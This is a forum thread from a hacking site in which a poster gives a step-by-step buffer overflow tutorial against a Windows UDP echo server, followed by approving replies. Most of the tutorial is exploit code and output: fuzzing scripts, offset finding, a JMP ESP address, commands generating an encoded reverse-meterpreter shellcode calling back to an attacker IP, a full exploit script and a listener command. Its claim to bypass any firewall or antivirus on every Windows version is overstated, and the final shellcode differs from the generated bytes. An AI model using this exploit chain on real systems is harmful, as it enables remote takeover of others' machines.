

Forum:[Hack Forums](#)

Thread: [\[Tutorial\]--Buffer Overflow and then hack the pc with metasploit work on any windows!](#)

roma4ka - July 5, 2012, 10:40 pm

INTRODUCTION

Buffer Overflows belong to the most common security vulnerability in the internet, most commonly associated with applications written in programming languages like C and C++. Those languages provide no built-in protection against accessing or overwriting data in any part of memory, and do not check that data written to an array is within the boundaries of that array. If a process attempts to store data beyond the boundaries of a fixed-length buffer, the extra data overwrites adjacent memory locations. The overwritten data may include other buffers, variables and program flow data, and may result in erratic program behavior, a memory access exception, program termination (a crash), incorrect results, or - especially if deliberately caused by a malicious user - a possible breach of system security. The conficker virus, that was first mentioned in October 2008 shows us, that buffer overflows are still an important issue. Still today, applications and services closely related to the operating system are vulnerable to this kind of attack.

So now lets take a simple program :[MyC++Program.exe](#)

Here is the scan :

Code SHA256: 30e3f912a22014984da9ea220472dc1e43e17b69958f9a06a8d9f130b166b0a4
SHA1: 019102d156538ba28046caa6901a1ba0ca0b970b
MD5: 139cd357d41303b7bf3a04e6091833b4
File size: 40.5 KB (41500 bytes)
File name: MyC++Program.exe
File type: Win32 EXE
Detection ratio: 0 / 42
Analysis date: 2012-07-06 13:40:20 UTC (0 minutes ago)

[b]Note[/b]: The above program is not a Virus. I promise
Knowing our target

Ok so we have this program called "server.exe" which we have been told to audit,only thing we know about it is that a this is custom application that is run on one of the our customer servers,so let's run it ourselves and see what it does
server.exe: 'Listening' on port 1979,protocol UDP.

Interesting,so let's conect to it using netcat

```
D:\NetworkTools\nc>nc -u 127.0.0.1 1979
Hello,do you like monkeys?
Hello,do you like monkeys?
```

So it looks like we have a custom echo server,now why would anyone actually needs this? no one knows but this information should be enough to start with our actual audit.

Testing for overflows

Now we are gonna drop our application into ollydbg and leave it listening and we are gonna make a python script that will eventually become our exploit, but let's not get too far ahead of ourselves first we need to check if there is a vulnerability, so our initial script will be something like this

OllyDbg V1.10 link : [here](#)

```
Code import socket
import sys
```

```
buf = 'A' * 200 # Printing 200 A's
```

```
try:
    sc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #udp socket
    sc.connect(("127.0.0.1", 1979)) #connecting to the 127.0.0.1 address n port 1979
    sc.send(buf + "\n") #sending the 200 A's
    print "[+] Evil buffer sent"
    sc.close()
```

```
except:
    print "[-] Can't send evil buffer"
    sys.exit()
```

It's very simple, we create a buffer with 200 A, now this could be any letter it doesn't matter, we will feed this buffer to our target application to try and make it break and since ollydbg is attached to it we will be able to see some interesting information, now let's do this!

Sending Message (201 bytes) back to ClientUDP server looping back for more requests

Oooops! looks like we didn't hit it hard enough! So let's give it what it wants! We are now going to use a bigger buffer A 500

Now it will crash and we check Olly,

The Program now will be

```
Code import socket
import sys
```

```
buf = 'A' * 500 # Printing 500 A's
```

The Application Crashed and when we load up we see the below picture :

[img]<http://dl.dropbox.com/u/12825770/images/over.jpg>[img]

So this means it tried to read 41414141 (AAAA in hex) as its next instruction to execute (EIP) there is a very good chance we can control the execution flow and make it do whatever we want in the context of the user that the application is running under (meaning that if it runs with admin priv we pretty much own the box, otherwise we can still get a shell back but with lower privileges).

Finding the offset:

Next step, now we need to find the offset this is the number of bytes we need to reach and overwrite the return address, the best way to do this is using a metasploit tool called `patter_create.rb` and `pattern_offset.rb` so this tool is located in backtrack in the directory

/pentest/exploits/framework/tools

Code [b]*[b]For the last version of metasploit issue:

```
cd /pentest/exploits/framework/
```

```
svn update
```

We issue this command

Code `./pattern_create.rb 500`

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5A
h6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4
Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9A
n0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4
Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
```

What we get back is a 500 byte string that we will now feed into our target instead of the 500 A so we change our buffer variable to this

Code `buf =`

```
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5A
h6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4
Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9A
n0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4
Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
```

And now we restart the server (ctrl+2 to restart and F9 to run it on Olly) and launch our script again, it will crash, let's look at Olly

[img]<http://dl.dropbox.com/u/12825770/images/over2k.jpg>[img]

We will take this value into the `pattern_offset.rb` tool and it will give us our offset, easy enough?

```
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 37694136
260
```

Now let's test this, we are gonna empty our buffer variable and this time we are gonna use A's again but instead of a random number we will be using our offset and test it, our buffer variable should now look something like this

```
buf = 'A' 260 + 'BBBB' + 'C' * 500
```

Notice we now have B and C these are the placeholders for our return address and shellcode, respectively, if all goes right now we should be able to crash the target again and the value of EIP should be 42424242 (BBBB in hex)

Getting a return address:

What we need now is a return address that will make the execution flow jump into our shellcode, if you watch Olly with the last crash and 'Follow in dump' the ESP register, you will see that's where exactly our C's start and remember this is our placeholder for the shellcode but to get there first we need an address with a JMP ESP instruction or equivalent (call, pop ret) so what we can do to find this

address is load kernel32.dll (you can also use user32.dll most of the time and it has way more addresses available) onto Olly or IDA and look for the instruction that way, or even better use a proper tool for the job there is 2 good tools for this, one is included with the metasploit framework the tool is called 'msfpescan'

The command to find a JMP ESP instruction with this tool is

```
msfpescan -j esp kernel32.dll
```

There other tool is findjmp2 which you can download : [here](#).

```
findjmp.exe kernel32.dll ESP
```

Scanning kernel32.dll for code useable with the ESP register

Code 0x7C836A08 call ESP

0x7C874413 jmp ESP

You should be able to use any as long as it doesn't contain any null characters (00) because that would break our exploit, remember a null character terminates a string.

Now we are gonna test this.

Code buf = 'A' * 260 + '\x13\x44\x87\x7c' + 'C' * 500

Creating some shellcode:

We are getting close, now we just need to replace our shellcode placeholder for a real one, I assume you already know what a shellcode is but small recap here, basically is a piece of machine code that will return us a shell or do anything we want like adding a user on the system, you can make these by hand but I won't cover that here, so no problem metasploit to the rescue again! We are going to use the msfpayload and msfencode tools, issue this command:

```
Code root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.15  
LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -t c
```

```
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
```

```
unsigned char buf[] =
```

```
"\xdb\xc8\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x49\xbb\x91\x37\xf6"  
"\x4f\x31\x58\x1a\x03\x58\x1a\x83\xe8\xfc\xe2\x64\xcb\x1e\xc6"  
"\x86\x34\xdf\xb9\x0f\xd1\xee\xeb\x6b\x91\x43\x3c\xf8\xf7\x6f"  
"\xb7\xac\xe3\xe4\xb5\x78\x03\x4c\x73\x5e\x2a\x4d\xb5\x5e\xe0"  
"\x8d\xd7\x22\xfb\xc1\x37\x1b\x34\x14\x39\x5c\x29\xd7\x6b\x35"  
"\x25\x4a\x9c\x32\x7b\x57\x9d\x94\xf7\xe7\xe5\x91\xc8\x9c\x5f"  
"\x98\x18\x0c\xeb\xd2\x80\x26\xb3\xc2\xb1\xeb\xa7\x3e\xfb\x80"  
"\x1c\xb5\xfa\x40\x6d\x36\xcd\xac\x22\x09\xe1\x20\x3a\x4e\xc6"  
"\xda\x49\xa4\x34\x66\x4a\x7f\x46\xbc\xdf\x9d\xe0\x37\x47\x45"  
"\x10\x9b\x1e\x0e\x1e\x50\x54\x48\x03\x67\xb9\xe3\x3f\xec\x3c"  
"\x23\xb6\xb6\x1a\xe7\x92\x6d\x02\xbe\x7e\xc3\x3b\xa0\x27\xbc"  
"\x99\xab\xca\xa9\x98\xf6\x82\x1e\x97\x08\x53\x09\xa0\x7b\x61"  
"\x96\x1a\x13\xc9\x5f\x85\xe4\x2e\x4a\x71\x7a\xd1\x75\x82\x53"  
"\x16\x21\xd2\xcb\xbf\x4a\xb9\x0b\x3f\x9f\x6e\x5b\xef\x70\xcf"  
"\x0b\x4f\x21\xa7\x41\x40\x1e\xd7\x6a\x8a\x37\x72\x91\x5d\xf8"  
"\x2b\x98\x92\x90\x29\x9a\xad\xdb\xa7\x7c\xc7\x0b\xee\xd7\x70"  
"\xb5\xab\xa3\xe1\x3a\x66\xce\x22\xb0\x85\x2f\xec\x31\xe3\x23"  
"\x99\xb1\xbe\x19\x0c\xcd\x14\x37\xb1\x5b\x93\x91\xe6\xf3\x99"
```

```
"\xc4\xc1\x5b\x61\x23\x5a\x55\xf7\x8b\x35\x9a\x17\x0b\xc6\xcc"
"\x7d\x0b\xae\xa8\x25\x58\xcb\x6b\xf3\xcd\x40\x23\xfc\xa7\x35"
"\xe4\x94\x45\x63\xc2\x3a\xb6\x46\xd2\x07\x61\xaf\x50\x71\x04"
"\xc3\x98\x74";
```

Please notice you will need to adjust the ip address to the one of your backtrack machine,so we are telling msfpayload to create a reverse meterpreter shellcode for us with these parameters and then we pipe it through msfencode which will encode our shellcode mainly for 2 reasons,the most important is getting rid of characters that would break our shellcode (the -b option) and getting past some IDS.

Exploit time!

At this point our final exploit should look something like this:

```
Code import socket
import sys
```

```
buf = 'A' * 260
buf += '\x13\x44\x87\x7c' #user32.dll jmp esp XP SP3 (Spanish)
buf += '\x90' * 16
```

```
buf += (
"\xdb\xc8\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x49\xbb\x91\x37\xf6"
"\x4f\x31\x58\x1a\x03\x58\x1a\x83\xe8\xfc\xe2\x64\xcb\x1e\xc6"
"\x86\x34\xdf\xb9\x0f\xd1\xeel\xeb\x6b\x91\x43\x3c\xf8\xf7\x6f"
"\xb7\xac\xe3\xe4\xb5\x78\x03\x4c\x73\x5e\x2a\x4d\xb5\x5e\xe0"
"\x8d\xd7\x22\xfb\xc1\x37\x1b\x34\x14\x39\x5c\x29\xd7\x6b\x35"
"\x25\x4a\x9c\x32\x7b\x57\x9d\x94\xf7\xe7\xe5\x91\xc8\x9c\x5f"
"\x98\x18\x0c\xeb\xd2\x80\x26\xb3\xc2\xb1\xeb\xa7\x3e\xfb\x80"
"\x1c\xb5\xfa\x40\x6d\x36\xcd\xac\x22\x09\xe1\x20\x3a\x4e\xc6"
"\xda\xa9\xa4\x34\x66\x4a\x7f\x46\xbc\xdf\x9d\xe0\x37\x47\x45"
"\x10\x9b\x1e\x0e\x1e\x50\x54\x48\x03\x67\xb9\xe3\x3f\xec\x3c"
"\x23\xb6\xb6\x1a\xe7\x92\x6d\x02\xbe\x7e\xc3\x3b\xa0\x27\xbc"
"\x99\xab\xca\xa9\x98\xf6\x82\x1e\x97\x08\x53\x09\xa0\x7b\x61"
"\x96\x1a\x13\xc9\x5f\x85\xe4\x2e\x4a\x71\x7a\xd1\x75\x82\x53"
"\x16\x21\xd2\xcb\xbf\x4a\xb9\x0b\x3f\x9f\x6e\x5b\xef\x70\xcf"
"\x0b\x4f\x21\xa7\x41\x40\x1e\xd7\x6a\x8a\x37\x72\x91\x5d\xf8"
"\x2b\x98\x92\x90\x29\x9a\xad\xdb\xa7\x7c\xc7\x0b\xee\xd7\x70"
"\xb5\xab\xa3\xe1\x3a\x66\xce\x22\xb0\x85\x2f\xec\x31\xe3\x23"
"\x99\xb1\xbe\x19\x0c\xcd\x14\x37\xb1\x5b\x93\x91\xe6\xf3\x99"
"\xc4\xc1\x5b\x61\x23\x5a\x55\xf7\x8b\x35\x9a\x17\x0b\xc6\xcc"
"\x7d\x0b\xae\xa8\x25\x58\xcb\x6b\xf3\xcd\x40\x23\xfc\xa7\x35"
"\xe4\x94\x45\x63\xc2\x3a\xb6\x46\xd2\x07\x61\xaf\x50\x71\x04"
"\xc3\x98\x74"
)
```

try:

```
sc = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #udp socket
sc.connect(("127.0.0.1", 1979))
sc.send(buf + "\n")
print "[+] Evil buffer sent"
sc.close()
```

except:

```
print "[-] Can't send evil buffer"  
sys.exit()
```

Start a payload handler issuing this command:

Code msfcli multi/handler LHOST=192.168.1.15 LPORT=443

payload=windows/meterpreter/reverse_tcp E

And then run the script and crush the buffer to get access.

If you see this you got it!

Code meterpreter>

*and if everything went right you should get a session, finally the two main problems you will run into while working on a exploit: bad return address, remember every SP and language will have different system libs (user32, kernel32...) so make sure you get an address for the correct windows version and language, and bad chars in the shellcode, I actually wanted to bash my head against a wall so many times with this one, so if everything works right until the point of using real shellcode this is the most probable case.

This tutorial works on every version for windows even 7 and by pass any firewall or antivirus!

My Friend wrote the most and I just helped him with some coding

So all the credit for him !

I Copy and Rewrite this for 3h!! so if you find this useful say thanks will not hurt you

sam2011hacker - July 6, 2012, 12:14 am

i understood nothing, its very difficult. To understand this what type of basic knowledge should i learn. Am interested in buffer overflows. Can u help me out

nitro1989 - July 6, 2012, 2:27 am

Awesome tutorial!!! clean and clear :D

Quality_k1nG - July 6, 2012, 5:11 am

Quote: So now lets take a simple program : [MyC++Program.exe](#)

Note: The above program is not a Virus. I promise its better to scan a file than promise but for tutorial thank

roma4ka - July 6, 2012, 6:19 am

(Jul 6, 2012 02:27 AM) nitro1989 Wrote: [\[CITE\]](#) Awesome tutorial!!! clean and clear :D

You welcome :)

I will post a scan of my program soon

!!!! - July 6, 2012, 6:21 am

Very good bro! :D

I didnt read the full thread but i found it very interesting and high quality! :)

Thnx alot bro! :)

roma4ka - July 6, 2012, 6:45 am

(Jul 6, 2012 05:11 AM) raja5549 Wrote: [\[CITE\]](#) its better to scan a file than promise but for tutorial thank

As I promise I have upload a scan of the file I created.

tux1 - July 6, 2012, 9:44 am

Nice tutorial I will take a closer look at it later.

roma4ka - July 6, 2012, 11:23 am

(Jul 6, 2012 09:44 AM)tux1 Wrote: [\[CITE\]](#) Nice tutorial I will take a closer look at it later.
Sure mate I would like to hear a review from you:)
And if you have questions feel free to ask me .

illuminator - July 6, 2012, 11:34 am

well, it seems someone is posting hq shit here,
thats not how we do things around here boy...

nice job creating this tutorial, very clear and informative
thank you for spoonfeeding us "difficult" stuff :D

Hooded Robin - July 6, 2012, 12:55 pm

This is a well written tutorial, thanks for taking the time to share!

roma4ka - July 6, 2012, 5:24 pm

(Jul 6, 2012 12:55 PM)Hooded Robin Wrote: [\[CITE\]](#) This is a well written tutorial, thanks for taking the time to share!
Guys thanks for reply it is really took around 3h to write this
and this is works for 100% .
I can help any one that have problem with my tutorial. :)

iNViSi8LE - July 11, 2012, 5:08 pm

Seems hq tutorial, thanks for this man!

hannah187 - September 11, 2012, 11:01 pm

thanks a lot to take and explain in details ..

intj STARE - March 31, 2014, 7:14 pm

very nice tutorial. i hope i will find more of your friends stuff.